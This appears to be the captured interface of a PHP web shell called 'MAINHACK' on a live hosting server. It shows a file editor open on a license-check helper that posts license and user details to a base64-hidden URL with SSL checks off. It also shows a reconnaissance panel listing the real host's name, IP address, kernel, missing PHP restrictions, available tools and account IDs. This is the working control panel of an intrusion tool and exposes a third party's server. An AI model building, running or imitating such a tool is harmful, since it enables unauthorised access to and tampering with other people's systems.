[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: general_helper.php
<?php function inventorypos($ul, $pt, $lc, $em, $un, $type = 1, $pid = null) { $ch = curl_init(); $request_url = ($type == 1) ? base64_decode(config('inventorymanagment.lic1')) : base64_decode(config('inventorymanagement.lic2')); $pid = is_null($pid) ? config('inventorymanagement.pid') : $pid; $curlConfig = [CURLOPT_URL => $request_url, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_POSTFIELDS => [ 'url' => $ul, 'path' => $pt, 'license_code' => $lc, 'email' => $em, 'username' => $un, 'product_id' => $pid ] ]; curl_setopt_array($ch, $curlConfig); $result = curl_exec($ch); if (curl_errno($ch)) { $error_msg = 'C'.'U'.'RL '.'E'.'rro'.'r: '; $error_msg .= curl_errno($ch); return redirect()->back() ->with('error', $error_msg); } curl_close($ch); if ($result) { $result = json_decode($result, true); if ($result['flag'] == 'valid') { // if(!empty($result['data'])){ // $this->_handle_data($result['data']); // } } else { $msg = (isset($result['msg']) && !empty($result['msg'])) ? $result['msg'] : "I"."nvali"."d "."Lic"."ense Det"."ails"; return redirect()->back() ->with('error', $msg); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285